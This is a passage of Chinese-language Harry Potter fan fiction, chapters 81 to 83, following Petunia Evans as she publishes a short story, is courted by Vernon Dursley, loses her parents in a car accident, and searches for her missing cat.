“别那么看着我,玛莎,我忘记拿我的车钥匙了,一会儿我要送我的妻子还有孩子去电影院。我的妻子要求总是很多。真羡慕你不需要在家庭里周旋。”那男人靠近了,佩妮嗅到他身上的酒味儿,佩妮盯着他看了一会儿,猛然意识到这是当初拒绝她的那名男编辑。
男编辑——沃特斯看着她们,在男编辑的视线中,佩妮突然紧张起来,她不安地抖动了一下。
她不确定男编辑是否对她还有印象。
但他的视线从佩妮的衣着上快速滑了过去,就像划过冰球场上的冰球,没有半分停留,他看起来像是完全忘记了佩妮。
他很快找到了他的车钥匙,临去前他转身对玛莎说:“我要你帮我找的那份原稿呢?玛莎,你可不要忘记它,准备好明天放我桌上。”
他手一挥,径自朝着那扇大开的门徜徉而去。
他没有关门,室外的冷风持续不断地吹进来。
佩妮走过去把门关上,重新坐到玛莎的身边。
“他是谁?”佩妮很小声地问。
“他是主编。”玛莎叹了一口气,她的眉毛蹙得更哀怨了,“但我确实差点忘记了那份原稿。不过我们先说回正事。”
玛莎的注意力重新放回到了佩妮的笔记本上。
“你有一份主职对吗?”玛莎突然问。
一个从未设想的问题,佩妮一愣。
“你说你有一份打字员的工作。”
佩妮迟疑地点了点自己的头。
“我从编辑的角度坦白告诉你,我认为它目前不够好。写作是自我的狂欢,但出版显然不是。”那汪哀愁的湖水凝望着她。
“你本也不必承受这些拒绝和否定,生活中的拒绝和否定已经太多了。”
佩妮先是点点头,但她又摇了摇头。
彩色玻璃穹顶,还有一杯又一杯的热红酒。
她深吸一口气:“既然它不够好,那我就再回去改一改。”
“这有意义吗?”玛莎看着她。
玛莎哀愁地蹙着她的眉头,佩妮却笑起来:“不知道,但我不想让她停下来。”
玛莎小姐轻微地松开了她的眉头,哀愁褪去,她直起了身体:“如果它要作为一本独立小说出版,这显然是不可能的,它有显而易见的缺点。”
看着玛莎的眼睛,佩妮点点头,她伸手想要拿回自己的那本笔记本。
“但是,”玛莎小姐话锋一转,伸手按住了那本笔记本,“其中有几个情节,如果拎出来作为单独的故事我认为很精彩。”
“我们出版社除了负责独立的小说的出版外,旗下还负责一些报纸、杂志的出版。”
“有一份廉价报纸,投放的目标人群地点是一些移民家庭、酒馆。它的主要目的是刊登一些广告,但它上面有一个栏目,专门刊登一些对文学性要求并不高,只要吸引人的小故事。”
“你愿意重新写你的故事吗?把这些的故事拆解掉,一篇篇向这份报纸投稿吗?”
“我得坦白告诉你,这份报纸的受众可不是坐在办公楼里喝着咖啡的人群,报纸售价相当低廉,你也不会获得多高的稿费。”
“你愿意重新开始吗?”
佩妮觉得自己的呼吸急促了起来。
“如果你愿意,你得抓紧时间,赶在下一批报纸印刷前。”玛莎对她眨了眨眼睛。
82.chapter81
“小姐,请为慈善捐款。”
下班路上,一名瘦高的男人拦住了佩妮。
他瘦削的下巴上布满了青色的胡茬,那双要从眼眶里瞪出来的眼睛紧紧盯着佩妮手里的纸袋子。
但佩妮发誓,纸袋子里只有一块黄油,还有超市打折出售的黑面包。
寒冷的天气里,他上身穿一件看不出本来面貌的加绒夹克,下身是一条单裤,仿佛感觉不到温度一样。
“小姐,请为慈善捐款。”他再次指了指那块挂在他前胸的木板,那块木板用掉色的油漆写着一句“天使资金”,没头没尾,意味不明。
这块木板存在的唯一意义就是替他向街头的人宣称他还不是真正的流浪汉,尽管他的穿着已经同真正的流浪汉没有两样了。
但佩妮今天身上所有的零钱都用来购买面包了,她勉强对那个男人解释,但男人仍然拦在佩妮前进的路上。
“面包也可以。”他吞咽了一口唾沫,指着佩妮手里的纸袋子。
佩妮只好把面包和黄油递给那个男人。
这下不得了了,接下来的两天,那个举着牌子的男人都在路口等着佩妮,他跟在佩妮身后,或者拦在她的身前,直到佩妮拿着黑面包为他的“天使资金”进行投资。
从头到尾,那双铜铃般的眼睛就像钩子一般紧紧抓着佩妮不放。
第三天佩妮决定换一条路回去,即使沿着新路需要多花费20分钟。
但幸运的是,她一路也没有碰见那个男人,她把他甩开了。
佩妮大大松了一口气。
可也让她来到通往公寓门口的那条小路时,天色已经完全暗淡了。
佩妮咬紧牙,趁着月色一头扎进了那条小路。
刚走出几步,云朵再一次遮住了月亮,前方和身后的小路便深陷一片黑暗之中。
黑暗放大一切声音。
佩妮听见身后传来一阵细微的脚步声。
全身的寒毛在此刻竖起。
佩妮警觉地停下来,脚步消失了。
她回头。
小路笼罩在一片朦胧的昏暗中,什么也看不清。
“谁在那里?”她佯装镇定地问。
但小路回以她黑暗和寂静。
她疑心自己是幻听了,为了赶在下一期报纸印刷前把手稿交给玛莎小姐,佩妮有好几个晚上只睡了几个小时。
她转头就走,但这次她加快了速度。
但脚步声在她身后又响起来了。
无比清晰,步步逼近。
这回可真不是她的错觉。
佩妮跑起来,心脏在胸腔不受控制地跳动,冷风灌进她的喉咙,像小刀一样割着她的气道,但她一刻不敢停下来。
她从来没有觉得这条小路有那么漫长。
寒风刮着她的眼睛,逼出生理性的泪水,蓄积在她的眼眶里。
再快一点佩妮,她对自己说。
等她好不容易看见了路口微弱的灯光,身后的脚步声也在此时离她只有一步之遥了。
有人在此刻一把抓住了她。
一声尖叫从佩妮的胸腔里挤了出来,伴随的还有夺眶而出的眼泪。
但那只手没有把她往小路里拖,而是一把把她拽到了路灯下。
路灯的光如同圣光降临,笼罩住了不断发抖的她。
“嘿,嘿,佩妮,冷静点,看着我,发生了什么?”那声音有点熟悉,模糊的泪眼中,佩妮看见抓住她的人是弗农·德思礼。
她停止了尖叫,但她没法控制自己不在发抖。
“有人跟着我。”佩妮回头看着那个黑洞洞的路口,尽量捡出清晰的词语向德思礼描绘发生的事情。
在灯光下,佩妮看不清德思礼的表情,只感觉到他的视线一直落在她的身上,他的手紧紧扣在佩妮的肩膀上。
他看看佩妮,又转向那个路口,那个黑洞洞的路口什么也没有出现。
“这几天一直有个流浪汉向我要面包。”佩妮深吸了几口气,找回了自己的理智,组织语言对德思礼说。
德思礼严肃地表示让佩妮在路灯下等着他,自己走进了那个漆黑的路口。
半晌他从里面钻出来,表情轻松地说:“那里面什么也没有。”
看着佩妮的表情,他说:“我确认了好几遍呢。”
“没想到你会在这出现,我是说,无论如何,谢谢你,弗农。”佩妮对德思礼说,并对他挤出一个歉意的微笑。
她的声音已经平静了,但她的心还在怦怦直跳,站在她旁边的德思礼——她在这一刻才看清路灯下的他,穿着挺阔的黑色西装,衣领浆洗得十分硬挺,脸上容光焕发。
他看起来又签订了一笔大订单。
“你是什么时候从纽约回来的?”佩妮拭去自己面颊上的泪水,抛出了一个问题,试图使德思礼的目光不要那么一错不错地落在她的脸上,不用说她现在肯定狼狈极了。
圣诞节后,德思礼没有出现在格朗宁办公室,他们说他去了纽约。
她既感恩他适时的出现——不用多提他高大的身影此刻站在她身边的安全感,又有些恼怒他肆无忌惮落在她脸上的视线。
但他仍盯着她不放,视线落在她的脸上和头发上。佩妮索性转过身去,认真揩去了脸上的泪水,深吸了好几口气,直到她彻底平静下来。
“嘿,佩妮,回头。”她听见德思礼的一声轻笑,她转身。
一捧不知道从哪儿变出来的粉色玫瑰递到她眼前。
玫瑰像晚霞一样绚烂,颜色直逼佩妮的眼底。
“我知道这有些迟了。”他说,耸了耸肩,“但佩妮,圣诞节快乐。”
佩妮呆呆地看着他。
一连好几天,德思礼都陪着佩妮走在那条小路上。
光线有时明有时暗,德思礼有时候走在她的左边,有时候走在她右边。
他同她谈论纽约。
谈论时代广场。
“比起英国人,美国人太不含蓄了,”他说,“他们什么都要比大,更大的汽车,更大的房子,只除了一点……”
“他们的甜食做的很好。”德思礼总结,“更大的圣代,更大的可乐杯,这是他们为数不多的,值得追求更大更好的东西。”
他看起来比初次见他时要更壮了一点,高大的身影就在她旁边,散发着热烘烘的奶酪和番茄酱的味道。
她看见胡须慢慢从他的上唇冒出来。
他毕业于斯梅廷中学,他也没有上大学。
中学毕业后在他父亲的安排下先是去了美国开了开眼界,然后回到了格朗宁钻机办办公室。
虽然很不幸,他的父母先后脚去见了上帝,但是他们给他留下了一笔不菲的财产。
他比她大了四岁。
他有时候是个商业场上纵横捭阖的生意人,有时候又确实显露出二十出头青年的模样。
但他仍旧是一位成熟靠谱的成年人。
还是一位有钱的单身汉。
总之,在他的陪伴下,那脚步声再也没出现过。
他把佩妮送到公寓楼下,佩妮低着头,看见他锃亮的皮鞋边缘沾着一些尘土,是在经过那条小路时沾上的。
路灯下,他递给佩妮一捧粉玫瑰。
原来除了红色,玫瑰还有其他的颜色。
在此之前,她只见过一次不是红色的玫瑰——那对年老的夫妇,用魔法变出来的蓝玫瑰,别在她的发间,在某一个夜晚悄然消逝。
她把粉色的玫瑰插在书桌上的水瓶里,轻碰它柔软的花瓣。
它可真美,它在水瓶里优雅地低垂着头,没有红玫瑰那么张扬,香气却轻柔甜润,还带着一点淡淡的花蜜味。
后来她在花店里瞧见了那种粉色玫瑰——荷兰进口,摆在花店的最显眼的地方,一捧玫瑰的价格就是她三分之二的周薪。
但这样昂贵真实的玫瑰也会凋谢,甚至凋谢得也快,就像枝干里有一把火,在夜间猛烈地烧完了,第二天清晨桌上只剩一片片的残余花瓣。
白天他在格朗宁办公室与她相遇的时候,表情严肃,什么也不多说。
但到了晚上,德思礼送她走在那条小路上,每天都给她带一捧这样的粉玫瑰。
他的目光萦绕在她的金发上,心意好像全部都落在了在那捧粉色玫瑰的表面。
有钱的单身汉都要娶个太太。
不要做一只呆鹅。
可佩妮看着镜子里的自己。
她身形高挑瘦削,没有什么曲线。
脖子有点长,脸也有一点长,没有什么特色的五官,只有那头金发在灯光下闪烁着一点光泽。
她问艾丽卡:“你到底爱上了他哪点呢?”
艾丽卡在圣诞节不久后就辞职了,因为她怀孕了。
在百货大楼下的咖啡馆做告别,艾丽卡对佩妮诉说着她未来的生活,她要搬去她丈夫所在的城镇——他在郊区买了一栋带花园的房子,二楼有阳光的那间房屋未来会改造成婴儿房,她的脸上写满了对未来的憧憬。
艾丽卡努了努嘴,捧着她面前的热牛奶对佩妮说:“说不上来,可能命运使然,让我爱上了他。”
——命运使然。
一刹那,这个回答让一股被背叛的委屈和愤怒涌上了佩妮的心头。
这股感觉由来绝对不是因为艾丽卡走后,她的工作都要被佩妮接手。因为格朗宁钻机办公室答应佩妮给她加薪,直到他们找到第二个接线员。
佩妮看着艾丽卡脸上氤氲的憧憬,模糊中觉察到这股被背叛的感觉其实很早就已经像一尾毒蛇,盘旋在了她的心里。
从什么时候开始?
莉莉接到霍格沃
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茨通知书的时候?
不对,那时她也产生了被背叛的感觉,但那种背叛和这种背叛不一样。
这种感觉,佩妮追溯毒蛇的踪迹,就像布伦南小姐在森林中追逐猛兽的痕迹,她突然察觉到这种背叛的感觉可能产生在薇拉把她留在雪地里喝茶,不让她进屋的那天。
噢,还有索菲提上自己的行李走进计程车的那天。
佩妮想去怨恨她们,怨恨她们的背叛,就像怨恨莉莉一样。
可她刚提起一股气,心中的气球就好像被什么东西戳破了一样,布伦南小姐在无人的森林拔出她的宝剑,茫然四顾,武器却失去了它的所指。
但胸中的感情十分陈杂,几乎让佩妮立刻尖锐地叫起来:“这就是爱情吗?神奇的爱情。”
憧憬从艾丽卡脸上短暂地消失了,一瞬间她脸上什么表情也没有,她对佩妮说:“有的时候,你也不是需要爱情,你只是需要有一个人在那里。”
佩妮一愣。
但很快笑容重新出现在艾丽卡的脸上。
被背叛的感觉消失了,但佩妮愈发觉得委屈。
她看着那捧粉色的玫瑰。
他看上了你什么呢?
也是命运使然吗?
真那么巧合地存在这样一本书,上面写着弗农·德思礼就该爱上佩妮·伊万斯。
优柔寡断,瞻头顾尾。
这条小路就在城市中间,其实根本没人跟着你。
一切只是你臆想出来的东西。
德思礼看着她,把玫瑰往前递了些。
佩妮站在公寓门前的台阶上,这下她与德思礼一样高了,她平视着他的眼睛:“玫瑰已经够了,弗农。”
在她的视线下,德思礼收敛了他的表情,他眼皮几不可查地一跳:“是我哪里做得不够吗?”
佩妮摇了摇头,愧疚在这一刻淹没了她,因为在那场拔出宝剑的战斗中,他确实没有做错什么。
他多无辜呀。
“好吧,”德思礼扯了扯自己的嘴角,他的眼神提示那个纵横捭阖的生意人此刻在那副高大的躯壳里占据了上风,“那条路怎么办?”
虽然佩妮更愧疚了,但她轻声对德思礼说:“回头,弗农。”
小路的灯光在此时亮了起来,就像夜空中点缀的繁星。
轮到德思礼瞪大他的眼睛了,那个年轻人又回到了他的身体里。
“我加入了一个女性互助联会,”佩妮耸了耸肩,“不止我一个人在这条小路里听见了脚步声,她们早就想向政府部门提议给这条路安装路灯了。”
“我加入的时间还算还算好,虽然错过了她们的提议申请,但赶上了之后的路灯募资。”
“这是我们建的路灯。”
佩妮跑回公寓里。
她的包里还有一个强光手电筒,还有一瓶辣椒喷雾。
她们把这些东西递给她,对她说:“假使有人跟着你,就拿那个手电筒照他的眼睛,把辣椒喷雾喷到他脸上,然后跑,别回头,跑到有光的地方,我们会帮你。”
她从门房太太那接过自己的信件。
来到自己的房间,佩妮脱掉靴子,踩在她新买的地毯上,走到书桌前打开伊索尔德写给她的信。
信里讲述了伊索尔德的大学生活,还有一篇简短的拉丁语文章。
“Quo usque tandem abutere, Catilina, patientia nostra?"
——喀提林,你还要滥用我们的耐心到什么时候?
伊索尔德在教她学习拉丁语。
等再攒一笔钱,她要给自己买一本拉丁语词典。
佩妮提笔给伊索尔德回了信,随信附赠上一张报纸。诚如玛莎小姐所说,那是一份质量不太高的报纸,与其说是报纸,不如说是广告集合体,除了一些看起来就像虚构的夸张新闻外,其他的位置都是铺天盖地的广告。
但最新一期的廉价报纸右下角的一个小方形框格里,有一篇小说。
署名P.E。
这是她的生活没错。
她把那份报纸寄给了伊索尔德。
另一封信里是一张爸爸妈妈从北爱尔兰给她寄过来的明信片。
明信片上映着爱尔兰的风光,妈妈在上面向佩妮承诺,在她18岁生日之前,他们会赶回来为她庆生。
佩妮把这些信珍重地收好。
她书桌前的花瓶里还插着一朵粉色玫瑰,花瓣已经快掉光了,多利围绕着花瓶喵喵叫。
从明天起不会再有玫瑰了,她虽然觉得可惜,但她一点也不留恋。
这是她的生活没错。
她等待着她生日的到来。
但在生日那天,佩妮没有等到爸爸妈妈。
只有两名警察敲响了她的房门。
83.chapter82
汽车一个刹车,使佩妮的头撞在了车窗上,因此她也清醒了过来。
窗外氤氲在一团漆黑里,漆黑又笼罩于一层朦胧的薄雾中。汽车就停在这层朦胧里,就像置身在一个光怪陆离的梦中。
僵硬是因为她蜷缩在最后一排的座位中,身体因长时间囿于一个固定的姿势。动作间佩妮的关节发出像机器人一般的弹响。她把车窗打开了一条风,冷风从车窗外灌进来,使她的头脑清晰了一些,但也使她从上车起就一直有些疼痛的头愈发疼痛起来。
她上车的时候,窗外的景色还未褪去阳光。在汽车规律行驶的摇晃中,她不知不觉就睡着了。
这让她有些讶异,因为此前不久,只要一闭眼,就是警察局的白光。
光源来自于警察局天花板上的吊顶白炽灯,先投射在金属质的冰冷墙壁上,反射,扑向那一大堆摊在办公桌上的白纸上,使她清晰地看清白纸标题上写着诸如“死者亲属确认表”“遗体放行单”等等的字样。
那些光线太强了,看一会儿视线就模糊起来,也模糊了那些字体。强光从四面八方向她反射过来,使她无所遁形,于是接下来记忆也被那些利箭切得七零八落了。
“我们到站了。”那个孩子很轻声地对她说。
佩妮有些吃惊地看着窗外,景色在一团雾气中逐渐显露,脑子里那个生锈的齿轮缓慢又生涩地运转起来,她意识到还没有到科克沃斯。
佩妮这时才意识到那个小孩说的是“我们”,所指里并不包含她,没有到她下车的时候。
佩妮扭头,不知什么时候——可能在她睡着时,她身旁的坐了一位印第安小男孩,穿着一条蓝色工装牛仔裤,黑色的皮鞋擦得干干净净。脸上嵌着一双澄澈如黑曜石般的眼睛,他手上拿着一块吃了一半,已经冷掉的墨西哥卷饼。
在佩妮看过来时,他用那双澄澈的眼睛回望着佩妮。
他右边坐着他的妈妈,她穿一件同她肤色差不多的外套,里面却是一条不太符合这个季节的粉色连衣裙,在那个男孩很小声地对佩妮说话时,她狠狠拽了一把那个男孩的手臂,在她警告般的目光中,那名男孩闭了嘴,但他的眼睛仍看着佩妮。
车上十分安静,因此汽车后门缓冲气囊弹开的声音便格外清晰,她看着那名妇女把她脚边的蛇皮编织袋顶到了她的头上,一手牵着那个孩子,一边扶着头顶的编织袋,摇摇晃晃走下了车。
走进了车窗外像墨水一般晕开的暮色里。
车上的人又少了一点,现在只剩下一个坐在车头的头发花白的老年妇女,还有前方的一名中年男性。
佩妮对那个老年妇女还有一点印象。
她戴着一条灰色围巾,尾随跟着那对印第安母子身后上的车,她左手紧紧握着那个已经褪色的粉色钱包。视线像警惕的花枝鼠,将车厢内都扫视了一遍,落在坐在佩妮身旁的母子身上时,厌恶般地皱起了眉头,然后选择了离她们最远的司机旁边的位置。
汽车摇晃了一下,又启程了。
下一站,先是坐在佩妮前方的中年男人下了车。
再下一站,轮到那名年老的妇女融入背景的漆黑里。
现在车上只剩下佩妮了。
啊,汽车又到站了,汽车总会到站,有人上车,有人下车。
但总还不轮到佩妮。
她的手搭在前方座椅后背的金属围栏上。
车窗外的景色在倒退,佩妮的视线开始逐渐习惯于黑暗了,她才意识到这辆车正走在前往科克沃斯的最后一段郊外的路上。
“那辆沃克斯豪尔从那条盘山公路上翻了下去。那段路的路灯坏了一盏,很不凑巧,就是弯道的那盏。”
“我们检查了一下行车记录,很不幸,在经过那段路时伊万斯先生没有减速。”
警察局的警察这么对她说。
佩妮的手握紧前方的栏杆,感受手掌下像冰块般冷硬的质感。
够了,佩妮对自己说。
“你一个人可以吗?没有什么其他人来陪你办这些手续吗?”他们出于好心,“接下来的事情很繁琐,你可以找一位成年男性来帮你……”
但这句话强烈得就像墙壁上反射的灯光,使她不得不用近乎尖锐的声音在警察局里尖叫起来:“我可以!我一个人就可以!这是我的事!”
不要再想那些事情了,佩妮闭上了自己的眼睛。
汽车猛地颠簸了一下,停在了空无一人的科克沃斯中心广场。
佩妮下了车,她深吸气,让冷风灌进自己的身体。
那栋房子伫立在黑暗中,左右的房子也在沉睡中,她在深夜回到科克沃斯。
佩妮从门口地毯的右上角摸出钥匙,借着月色打开房门。
屋里漆黑一片,门外的月色并不能驱散室内的黑暗。摸索着墙壁,她打开灯,灯亮的那一瞬间,房间里那些装饰带着熟悉感像利剑一样冲进她的眼底。
沙发上还搭着一件的外套,妈妈可能犹豫了很久,也许是不满意款式,又或许是不满意颜色,这件从衣柜拿出来的外套临出门前又被她随手搭在沙发上,就像她很快就会回来一样。
佩妮不由得踉跄着倒退了好几步,重新回到了门外。
最后她披着妈妈的那间外套坐在屋子前的阶梯上。
她抱着自己的手臂,看见月光从她的右前方投射下来,在左边将她的影子拉得老长。
明天需要去联系牧师,再向报纸上刊登讣告……乱糟糟的事情充斥在她的脑海里。
她突然瞪大了自己的眼睛,意识到一个问题。
她要怎么告诉莉莉?有人会告诉莉莉吗?
佩妮看着台阶前的月光,她站起来,往深沉的夜色中走去。
路上一个人也没有,科克沃斯笼罩在一片深沉的夜色中。
她按照记忆中的路线穿过那些小巷,经过那条河流,来到蜘蛛尾巷那栋有些低矮的房门前。
这栋房屋还没有陷入沉睡,佩妮看见昏黄的灯光从窗户里亮出来。
佩妮伸出手,指节叩在房门上,寂静的深夜回荡出不合时宜的清晰的响声。
远处传来几声微弱的狗叫,佩妮开始后悔。
但是房屋已经被唤醒了,昏黄的灯光中,她看见屋子里有人起身,走到了大门口,但没有给她开门。佩妮咬咬牙,再次伸手敲响了房门,这次她用了更大一些的力气。
门开了,露出艾琳·斯内普那张苍白又有些阴沉的脸。
她看着佩妮。
眼前的女人看起来更消瘦了,面色苍白,神情比上次见到她的时候更加萎靡,衣领仍旧系得高高的。
这一瞬间,就好像西弗勒斯·斯内普在看着她。
圣诞节那个与他擦肩而过的雪夜。
佩妮开始后悔,她把麻烦带到这里来了。
艾琳·斯内普不一定会记得她,她知道斯内普还有莉莉的事情吗?
她用皱起的眉头无声地询问。
佩妮对艾琳·斯内普勉强挤出一个微笑:“艾琳女士,我是伊万斯家的那个女孩……”
“我知道你,”她的声音很低沉,她打断佩妮,“我记得你,还有你那个麻烦精妹妹,但我实在想不出伊万斯家和斯内普家之间还会再有怎样的交集。”
这时一阵鼾声,混合着一股酒味,还有电视机晚间频道的声音从她身后传来,佩妮的视线稍动,艾琳·斯内普看上去立刻就要关上房门。
“等等。”佩妮用手抵住了房门,她冰冷的手与艾琳·斯内普温暖又粗糙的手相触了
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一刻,模糊的视线里艾琳·斯内普嘴巴抿成一条直线,她眉头紧锁,沉默又冰冷地注视着佩妮,听着佩妮磕磕绊绊的解释。
“您是科克沃斯唯一能联系上霍格沃茨的女士了,请您一定要帮帮我,联系上在格兰芬多的莉莉·伊万斯,请求您,艾琳女士。”
艾琳·斯内普冷冷地看着她,她的嘴巴紧抿成一条线,在佩妮说出这句话的时候,她牙关一松,显然想说些什么,但她什么也没说,佩妮可以看见艾琳·斯内普太阳穴一跳一跳的青筋,她的表情看起来很想把房门关上。
但佩妮仍然把手放在门框上,在她快要绝望的时候,艾琳·斯内普深深看了她一眼,冷漠地说:“待在这儿,哪里都不要去,什么也不准碰。”
她把房门碰地一声关上了,木门差点打在佩妮的鼻子上。
佩妮抱着自己的胳膊,在寒风中等待,月光落在她的身上,像水一样冰冷。
等到门重新打开,艾琳·斯内普沉沉地看着满脸泪水的佩妮:“他们知道了。”
他们应该指的是霍格沃茨。
佩妮对艾琳·斯内普道谢。
温暖从艾琳·斯内普身后的房门溜出来,佩妮应该转身就走,作为一名不速之客,在深夜叨扰一位并不想沾染麻烦的女士,这不太得体。
“等等。”但艾琳·斯内普叫住了她。
佩妮回头。
“你很疼吗?”
什么?佩妮有些差异,她只觉得冷,夜晚太冷了,她在发抖,她摇了摇头。
“那你为什么在流泪?”
佩妮瞪大了她的眼睛,在她的视线中,艾琳·斯内普向她伸出手,凑向她的脸。
佩妮情不自禁地闭上了眼睛。
有粗糙的指腹拂过她的眼皮,落在她的脸上,替她拂去了脸上的泪水。
砰地一声房门被关上的声音将她惊醒,艾琳·斯内普再次将佩妮留在屋外的寒冷里。但很快,她拉开了房门,伴随着从屋里面传出来的鼾声,她钻出来,手上拿着什么。
一瓶棕色药瓶递到她的面前,里面是满满的白色药片。
佩妮一愣。
艾琳·斯内普面无表情地看着她。
像打开了什么开关,她开始感到头痛,从登上汽车就开始的疼痛,一路往下,就连小腹也开始传来一阵阵筋挛似的疼痛。
在艾琳·斯内普的视线下,她无法控制地抽泣了一声,可艾琳·斯内普什么话也没有说,她紧紧抿着唇,脸上什么表情也没有。
等佩妮平静下来,她关上了房门。
佩妮突然觉得没有那么冷了。
但她始终没有办法点燃她家的壁炉,她的手还在发抖。
佩妮索性坐在屋子前的台阶上等待着莉莉。
她可能一会儿到,也可能晚一些才到。
她看着台阶前的空地,一股恐慌缠绕住了她。
此时她真的存在吗?莉莉也存在吗?莉莉会出现吗?还是她永远也不会出现?
这个想法使她的内心突突地跳。
就在冷风让她再也无法忍受时,一声汽车喇叭划破她身前的寂静,一辆黑色的轿车停在她的面前,车前灯闪烁又熄灭,光线稍微有一些刺眼。
砰,有人关上了车门。
一个高大的身影向她走过来,他的阴影笼罩她。
弗农·德思礼。
他就这样适时地出现在这里。
出现在这个寒冬的深夜里。
出现在佩妮的面前。
他面带关怀,从怀里掏出一个锡箔纸包裹的热气腾腾的热狗。
——他好心为饥肠辘辘的佩妮准备的食物。
佩妮用手撑住自己的额头。
发出一声投降似的喟叹。
84.chapter83
“生命总在继续,死亡不可避免。”
看守墓园的老修女对她说,佩妮点点头,垂下她的眼眸,老修女的吻落在她的黑色面纱上。
莉莉就站在佩妮的右手边,连同她那头火红的头发笼罩在一条黑裙子里,那双绿色的眼睛噙满悲伤的泪水。
佩妮反手握住莉莉颤抖的手。
在那个寒冷的冬夜,莉莉带着悲伤的泪水,扑进佩妮的怀里,身后跟着一脸担忧视线追逐着她的詹姆·波特。
他和弗农·德思礼在楼下成功点起客厅的壁炉。
房间很安静,能听见炉火燃烧的哔啵声。
佩妮在楼上,披着妈妈留下来的那件外套,半倚在床上,手落在蜷缩在她身旁,莉莉因抽泣而颤抖的脊背上。
视线却落在打开窗户外的夜色上,落单的零星夜鸟,在夜色中飞过尖塔似的屋顶。
她做的很好,佩妮把自己穿在一袭黑色的长裙里,笼罩进一层黑色的网织面纱。在德思礼的帮助中,从容不迫地联系墓地,刊登讣告,邀请牧师举办葬礼。
现在她代表伊万斯,代表伊万斯这个姓氏。
在教堂的钟声中,在牧师的祷告后,佩妮宣读着那被写进一张纸里的一生。
一张纸写尽的一生,她的一生又写在哪张纸上。
佩妮听见自己平静的声音回荡在教堂内。隔着黑色面纱,众人或哭或笑的神色传进她的眼底里,却无法激起她内心一丝波澜。
就像冬天墓园的小径。
冬天的墓园很平静,没有风,守墓人在他们到来之前就已清扫小径掉落的枝桠还有积雪,使他们能够来到墓园的深处,那最终的应许之地。
最后一抔土覆盖上棺椁。
佩妮在墓碑前放下一束鲜花。
这时,莉莉似乎无法忍受般用手捂住自己的脸,发出很小声的抽泣。
站在她身后的詹姆想要上前一步,伸出他的手,却又在快要触及莉莉脊背上的红发时停了下来。
佩妮一只手握住了莉莉的手,另一只手抚上了她的脊背。
莉莉的声音很轻,但还是惊起了这个寂静墓园中,枝头上剩下的最后一只鸟。
那可能是一只知更鸟,她第一天来到这个墓园,就看见了它。
它看起来翅膀受伤了,蜷缩在那棵光秃秃的树枝上,轻啄着它的羽毛。
现在它飞走了,张开它的翅膀,冲向那阴沉沉的天空。
它会再回来吗?
还是一去不回头?
生命总在继续,死亡不可避免。
她送别那些人。
送别陌生的,送别熟悉的。
在国王十字车站,送别莉莉和詹姆。
冬天的车站并没有多少人,只有一层白色的雾气若隐若现地笼罩在站台上。
走进石墙前,詹姆停下来回头看着佩妮。
“嘿,佩妮,戈德里克山谷,在英格兰的西南部。那里有阳光,一个广场,有几家不错的店铺,一个邮局、一家酒吧、还有一个小教堂。”他推了推自己的眼镜,“在假期,如果你有空的话,我和小天狼星都会在那里。”
莉莉站在詹姆的身边,当莉莉出现的时候,他的目光总是不由地追随着她。
佩妮当然能明白那眼神的含义。
佩妮点点头。
她送别他们,看着他们消失在石墙后,继续他们的旅程。
佩妮转身。
“佩妮!”她听见身后传来一声急切的呼唤,下一秒,有人从背后牢牢地抱住了她。
第一次来国王十字车站,站在这里,她也从石墙里奔出来,抱紧她。
“别回头!”身后的人说,她红色的头发落在佩妮的脖颈间,使她感觉有些痒。但她无法回头,因为那双抱住她的手。
“莉莉永远爱佩妮。”身后的人说,“永远。”
那双手松开,佩妮站在原地没有回头。
一辆蒸汽火车在此时停在了站台上,悠长的汽笛声划破站台安静的空气。
佩妮慢慢回头,石墙前只剩下空茫茫的雾气。
她走出国王十字车站,德思礼在外面等她。
他站在他的黑色轿车旁,手里夹着一根烟。看到佩妮时,他把烟抛到地上,抬脚踩灭了它,随后为她拉开了车门。
德思礼陪她去警察局签署剩下的文件。
他看起来对那些流程相当熟悉,他接过那些繁复的文件先看一遍,确认无误后再递给佩妮签字。
警察局的灯光仍然刺眼,但德思礼的身影挡住了大部分的白光。
最后一站停在佩妮的公寓门口。
德思礼显然想说些什么,佩妮拧动门把手的动作停顿了一下。
她在等德思礼的话。
但德思礼最后什么也没说出来,他把空间让给了佩妮,转身走进楼道的阴影里。
感激、愧疚,还有一种如同火车站的雾气那样空茫茫的感觉占据了她的内心。
生活总在继续,死亡不会停止。
这是她的生活。
她转动钥匙锁扣,推开了房门。
屋内漆黑一片,冷风透过打开的窗帘灌进屋内。
黑暗中她听见厨房那头传来一阵窸窸窣窣的声音。
那声音她很久没有听到了,衬着房间又空旷又安静。
佩妮心里一沉。
她突然意识到自己犯了一个严重的错误。
她把多利遗忘在了这里。
她离开时匆匆忙忙,没有给多利备下足够多的水和食物。
她一连离开了许多天。
“多利?”她试探性地喊叫了一声。
房间里空荡荡的,只有不时被冷风刮起的窗帘,徒劳飘荡着回答她。
她匆忙奔到窗户旁,纱窗上赫然是一个拳头大小的洞,冷风就从这里灌进来。
优秀的捕手总是向往自由的天空。
它为她停留在这间只有她存在的小屋里。
但她忘记了它。
它从洞的这头跃到那头,挣脱束缚它的空间,前往一个更大的天地。
那根紧绷的弦在她脑海里猝然断裂,一瞬间好似所有的力气都从身体里流了出去,使她开始软弱起来。
多利——
她转头退出她的房间,跑下楼梯,楼梯因她的奔跑发出不堪重负的声音,昏暗的电灯在她头顶闪烁。
多利——
她一边奔跑,一边呼唤。
天上开始下雪,将路灯,街道都覆盖上一层白色。
雪落在她的头上,落在她的睫毛上。
回应着她的徒劳无功。
她停下来,看着那片白茫茫的大地,什么话也说不出来。
你的生活。
生活总在继续,死亡不可避免。
谁在同她开玩笑。
为什么?
一个温暖的外套落在她的身上。
“发生了什么事?”
是德思礼,还没有走远的德思礼,他追上在雪地里奔跑的佩妮,把自己的外套脱下来,罩在了佩妮的身上。
她抓住德思礼的手,试图对他露出一个笑容。
其实这没什么,只是一件小事。
她在葬礼上表现得如此从容不迫,但是为什么眼泪……
眼泪却在此时流了下来。
“猫不见了。”
她听见自己上牙磕着下牙,打着哆嗦说。
佩妮再次坐在德思礼的汽车里。
车窗外雪更大了,一片一片白色雪花连成白茫茫的雪海。
但这辆汽车里却开着暖气,封闭狭小的空间充盈着温暖和明亮的光线,像是海洋里的一座绝对安全的孤岛。
她把自己收拾好,穿着德思礼的外套,捧着一杯热可可。温度透过指尖,一路传递至她的心脏。
德思礼坐在右座的驾驶座上,手搭在方向盘上,他的手里也拿着一份薯条还有热狗,直视着前窗视野里白茫茫的雪。
“不要担心。”他说,“我跟这一块的动物收容所都进行了沟通,如果他们见到了那只没有尾巴的猫,他们会随时联系我。”
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“街头有为流浪动物准备的安全屋,会有动物保护协会的人定期检查水和粮食的情况。”
